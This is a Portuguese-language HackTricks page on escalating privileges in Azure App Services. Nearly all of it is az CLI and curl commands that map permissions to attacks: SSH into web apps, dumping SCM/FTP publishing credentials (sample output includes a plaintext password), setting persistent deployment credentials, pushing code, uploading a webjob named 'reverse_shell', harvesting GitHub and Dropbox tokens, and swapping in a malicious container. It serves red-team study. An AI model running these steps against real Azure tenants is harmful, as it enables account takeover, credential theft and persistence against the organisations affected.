Az - App Services Privesc

Reading time: 11 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

App Services

Para mais informações sobre os serviços de aplicativo do Azure, consulte:

Az - Azure App Services

Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read

Essas permissões permitem obter um SSH shell dentro de um aplicativo web. Elas também permitem debugar a aplicação.

  • SSH em um único comando:
bash
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
  • Criar túnel e depois conectar ao SSH:
bash
az webapp create-remote-connection --name <name> --resource-group <res-group>

## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }

## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
  • Depurar a aplicação:
  1. Instale a extensão Azure no VScode.
  2. Faça login na extensão com a conta Azure.
  3. Liste todos os serviços de App dentro da assinatura.
  4. Selecione o serviço de App que você deseja depurar, clique com o botão direito e selecione "Iniciar Depuração".
  5. Se o aplicativo não tiver a depuração habilitada, a extensão tentará habilitá-la, mas sua conta precisa da permissão Microsoft.Web/sites/config/write para isso.

Obtendo Credenciais SCM e Habilitando Autenticação Básica

Para obter as credenciais SCM, você pode usar os seguintes comandos e permissões:

  • A permissão Microsoft.Web/sites/publishxml/action permite chamar:
bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]

Observe como o nome de usuário é sempre o mesmo (exceto no FTP, que adiciona o nome do aplicativo no início), mas a senha é a mesma para todos eles.

Além disso, a URL do SCM é <app-name>.scm.azurewebsites.net.

  • A permissão Microsoft.Web/sites/config/list/action permite chamar:
bash
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}

Observe como as credenciais são as mesmas que no comando anterior.

  • Outra opção seria definir suas próprias credenciais e usá-las:
bash
# Show if any user is configured (password won't be shown)
az webapp deployment user show

# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'

# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp

Então, você pode usar essas credenciais para acessar as plataformas SCM e FTP. Esta também é uma ótima maneira de manter a persistência.

Lembre-se de que para acessar a plataforma SCM pela web, você precisa acessar <SCM-URL>/BasicAuth.

warning

Note que todo usuário pode configurar suas próprias credenciais chamando o comando anterior, mas se o usuário não tiver permissões suficientes para acessar o SCM ou FTP, as credenciais não funcionarão.

  • Se você ver que essas credenciais estão REDACTED, é porque você precisa habilitar a opção de autenticação básica do SCM e para isso você precisa da segunda permissão (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

Publicar código usando credenciais SCM

Apenas ter credenciais SCM válidas já é possível publicar código no serviço de aplicativo. Isso pode ser feito usando o seguinte comando.

Para este exemplo em python, você pode baixar o repositório de https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, fazer quaisquer alterações que desejar e então compactá-lo executando: zip -r app.zip ..

Em seguida, você pode publicar o código em um aplicativo da web com o seguinte comando:

bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"

Webjobs: Microsoft.Web/sites/publish/Action | Credenciais do SCM

A permissão do Azure mencionada permite realizar várias ações interessantes que também podem ser realizadas com as credenciais do SCM:

  • Ler logs de Webjobs:
bash
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt"  --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt"  --resource "https://management.azure.com/"

# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
  • Leia o código-fonte do Webjobs:
bash
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'

# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
  • Criar Webjob contínuo:
bash
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"

# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'

Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Essas permissões permitem atribuir uma identidade gerenciada ao serviço de aplicativo, então, se um serviço de aplicativo foi comprometido anteriormente, isso permitirá que o atacante atribua novas identidades gerenciadas ao serviço de aplicativo e escalone privilégios para elas.

bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>

Microsoft.Web/sites/config/list/action

Esta permissão permite listar as connection strings e os appsettings do serviço de aplicativo, que podem conter informações sensíveis, como credenciais de banco de dados.

bash
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>

Ler Credenciais de Terceiros Configuradas

Executando o seguinte comando, é possível ler as credenciais de terceiros configuradas na conta atual. Note que, se por exemplo, algumas credenciais do Github estiverem configuradas em um usuário diferente, você não poderá acessar o token de um diferente.

bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

Este comando retorna tokens para Github, Bitbucket, Dropbox e OneDrive.

Aqui estão alguns exemplos de comandos para verificar os tokens:

bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

Atualizar o Código do App a partir da fonte

  • Se a fonte configurada for um provedor de terceiros como Github, BitBucket ou um Repositório Azure, você pode atualizar o código do serviço App comprometendo o código fonte no repositório.
  • Se o app estiver configurado usando um repositório git remoto (com nome de usuário e senha), é possível obter a URL e as credenciais de autenticação básica para clonar e enviar alterações com:
  • Usando a permissão Microsoft.Web/sites/sourcecontrols/read: az webapp deployment source show --name <app-name> --resource-group <res-group>
  • Usando a permissão Microsoft.Web/sites/config/list/action:
  • az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
  • az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"
  • Se o app estiver configurado para usar um repositório git local, é possível clonar o repositório e enviar alterações para ele:
  • Usando a permissão Microsoft.Web/sites/sourcecontrols/read: Você pode obter a URL do repositório git com az webapp deployment source show --name <app-name> --resource-group <res-group>, mas será a mesma que a URL SCM do app com o caminho /<app-name>.git (por exemplo, https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git).
  • Para obter as credenciais SCM, você precisa da permissão:
  • Microsoft.Web/sites/publishxml/action: Então execute az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>.
  • Microsoft.Web/sites/config/list/action: Então execute az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>

warning

Observe que ter a permissão Microsoft.Web/sites/config/list/action e as credenciais SCM torna sempre possível implantar em um webapp (mesmo que tenha sido configurado para usar um provedor de terceiros), como mencionado em uma seção anterior.

warning

Observe que ter as permissões abaixo também torna possível executar um contêiner arbitrário mesmo que o webapp tenha sido configurado de forma diferente.

Microsoft.Web/sites/config/Write, Microsoft.Web/sites/config/Read, Microsoft.Web/sites/config/list/Action, Microsoft.Web/sites/Read

Este é o conjunto de permissões que permite modificar o contêiner usado por um webapp. Um atacante poderia abusar disso para fazer um webapp executar um contêiner malicioso.

bash
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks